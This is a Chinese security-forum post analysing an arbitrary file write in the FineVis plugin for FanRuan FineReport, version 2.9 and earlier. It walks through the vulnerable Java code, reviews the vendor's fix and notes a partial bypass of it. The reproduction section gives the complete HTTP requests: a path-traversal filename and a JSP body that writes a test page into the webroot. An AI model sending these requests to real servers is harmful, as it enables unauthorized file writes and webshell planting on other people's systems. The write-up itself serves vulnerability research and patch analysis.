问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某报表FineVis数据可视化《=2.9 任意文件写入漏洞
漏洞分析
finerepor插件文件上传结合目录穿越进行文件写入
### 0x01简介 国护爆出来的洞,bi需要手动安装,report自带。利用版本有限,比较垃圾 <https://help.fanruan.com/finereport/doc-view-4833.html> 很清楚看到,一开始的这个漏洞不需要授权,然后后面有进行目录穿越。也就是24.8月前的版本存在问题。 ### 0x02 分析 com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-785f7305f1439189f85a4eb33acacbd421dcae62.png) 可以看到调用upload方法,上传了 com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-959d932a2fadb6719fb18679e646cae89f48c988.png) 首先从请求中获取id,attachID然后判断是否为空。 不为空就去 FVSTemplateStyleConfig去获取我们传入的id,找不到就会报错。 com.fr.plugin.wysiwyg.web.theme.FVSTemplateStyleConfig ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2f3bcf3ac65e233438b6e0ae98c94fb298bbf3a0.png) 来到FVSTemplateStyleConfig中,发现在类加载的时候出忘preStylesMap中put数据,那也就是id就是这里key咯 ```java static { preStylesMap.put("0e1183e3-4a26-e27d-9e4b-190909fd67a0", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_1.json"); preStylesMap.put("0946780e-c0b7-839d-5944-8fb840f53450", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_2.json"); preStylesMap.put("c5bbc3eb-beaa-3926-ff8a-aeb866815284", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_3.json"); preStylesMap.put("98f6460e-2334-47a7-1081-72a7bd391e56", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_LIGHT\_1.json"); } ``` 在看到DuchampResourceRequestHelper.getFileFromReq ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-02086d5ebeff130c74aab3888c13159d3050dd80.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1f523d613197b0dc9e28c37047474ce1553bee5d.png) 主要就是request中读入流,然后前后加入一个byte,不用管,最后返回。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ecab698d5f7ac767355f4903e951469ca807f086.png) 然后就是从上一步中获取了文件流,加入到了templateStyle,将attachID和它进行绑定。 然后从metadata的值,将metadata和attachID绑定,这里看到metadata是一个json。传参数用{"":""} 传咯。 更新FVSTemplateStyleConfig的templateStyle,最后访问id,attachID。 从上面可以看出,我们可以控制一个FVSTemplateStyleConfig的类容。最后需要把他倒入到webroot下就可以完成恶意文件上传咯。 com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3671968d85c84c03d235542c7eadc0f618687852.png) 这个理由就符合条件 com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a4f86b0f5e0e4c7d14cff46740ce97b25a2bb5da.png) 这里就完成了写入,可以看到通过id获取fvsTemplateStyle,然后获取这个fvsTemplateStyle中attachID对应的byte,然后在resource判断有没有有这个attachid,肯定是没有的,继续从fvsTemplateStyle中获取metadata,然后从metadata中获取name的值,若果为空就用attachID + ".png"拼接,这里从metadata取到了,不为空。然后就是进行写入了。 DuchampIO.EDIT\_CACHE.write(bean.getTplPath(), name, image); 这就有意思了,image是一个byte流可控,name我们可控,没过滤,也就是可以通过".**./../**" 穿越写入。这样就完成了对webroot下的jsp写入。 整个流程非常巧妙,反正我觉得现在静态分析是分析不出来的,果然厉害的洞还得人审计。 ### 0x03 复现 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f49ed99e5152b10f6fbf78dc82de1c6292fdb39a.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1cd06176103ef2e60278c886c5d33d869dc9b114.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-aead4080747a604e09a9cf6c8f140bd2e5f25639.png) ```http POST /webroot/decision/view/duchamp/theme/attach?id=98f6460e-2334-47a7-1081-72a7bd391e56&attachID=3&metadata=%7b%22%6e%61%6d%65%22%3a%22%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%73%6b%2e%6a%73%70%22%7d HTTP/1.1 Host: Accept: \*/\* Accept-Charset: GBK,utf-8;q=0.7,\*;q=0.3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cache-Control: max-age=0 Connection: close Content-Length: 294 Content-Type: multipart/form-data; boundary=c6c05c9386d544159462cae057c4a758 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 --c6c05c9386d544159462cae057c4a758 Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain <% out.println(11809+76625+"FNjzadubmSaGkeSF");new java.io.File(application.getRealPath(request.getServletPath())).delete();%> --c6c05c9386d544159462cae057c4a758-- POST /webroot/decision/view/duchamp/theme/resource2template HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: \*/\* Accept-Charset: GBK, utf-8;q=0.7, \*;q=0.3 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN, zh;q=0.8 Cache-Control: max-age=0 Connection: close Content-Length: 67 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 {"attachIDs": \["3"\], "id": "98f6460e-2334-47a7-1081-72a7bd391e56", "reuseIDs": \[""\], "tplPath": ""} GET /webroot/decision/view/duchamp/theme/list HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: \*/\* Accept-Charset: GBK, utf-8;q=0.7, \*;q=0.3 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN, zh;q=0.8 Cache-Control: max-age=0 Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 ``` ### 0x04 修复方式 uploadTemplateStyleAttach ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-56ec95f7ef3976e37b7d7027ee9f17a8f0bcd131.png) 添加一个新函数来判断 可以看到先读入文件流,然后调用进行判断 DuchampResourceRequestHelper.checkFileValid(bufferedInputStream, parseResult.getFileExtension())) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-63c4d868f32fc35ad36b1b202a30ceaab02a2591.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-085f692f1e353bb85b761fd64f737303f5702c82.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-31432336b245a577a593a8e81ebb581f6dc2caa9.png) 可以看到主要就两个方法,一个是从 FILE\_HEADER\_MAGIC\_NUMBER获取,获取到就去判断文件头magicNumber,一样就返回true,不一样就返回false。还有一个没有在FILE\_HEADER\_MAGIC\_NUMBER获取到的值,就去FILE\_HEADER\_WHITE\_LIST里面找,找到就是true,找不到就是false。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7406091344a13799f04201490784c3d9ba49c297.png) 对应的后缀以及魔术头。以及白名单后缀。 从上面逻辑可以看到,没什么用,控制文件写入的后缀是metadata中的name。不是在文件流中的后缀,所以我们直接使用白名单的后缀进行绕过就可以完成这里的修复。 写入点 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6ab5be35881b9f021dc0dd0ef20cbc60e8fd7440.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7b46addd39d965f930ee001b02691da4cca26549.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-746247dbc862442f3d739c33df7c14e6cc399db7.png) 检查了../../,匹配到就报错。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ff12dc6f17da50cf96109e3dc93f4ac591ac3e78.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1b49e60e0fea76acf71c22431dfbf490e42452cb.png) 后面还对后缀进行了判断,匹配到就报错 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7eff0d801a65e30c39ea773062d427b6e932db08.png) 也就是我们可以绕过第一步,第二步是绕过不了的,新版还是认证后才能访问,看起来没什么继续研究的必要了。
发表于 2024-12-12 09:00:00
阅读 ( 1166 )
分类:
其他
1 推荐
收藏
0 条评论
请先
登录
后评论
Unam4
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!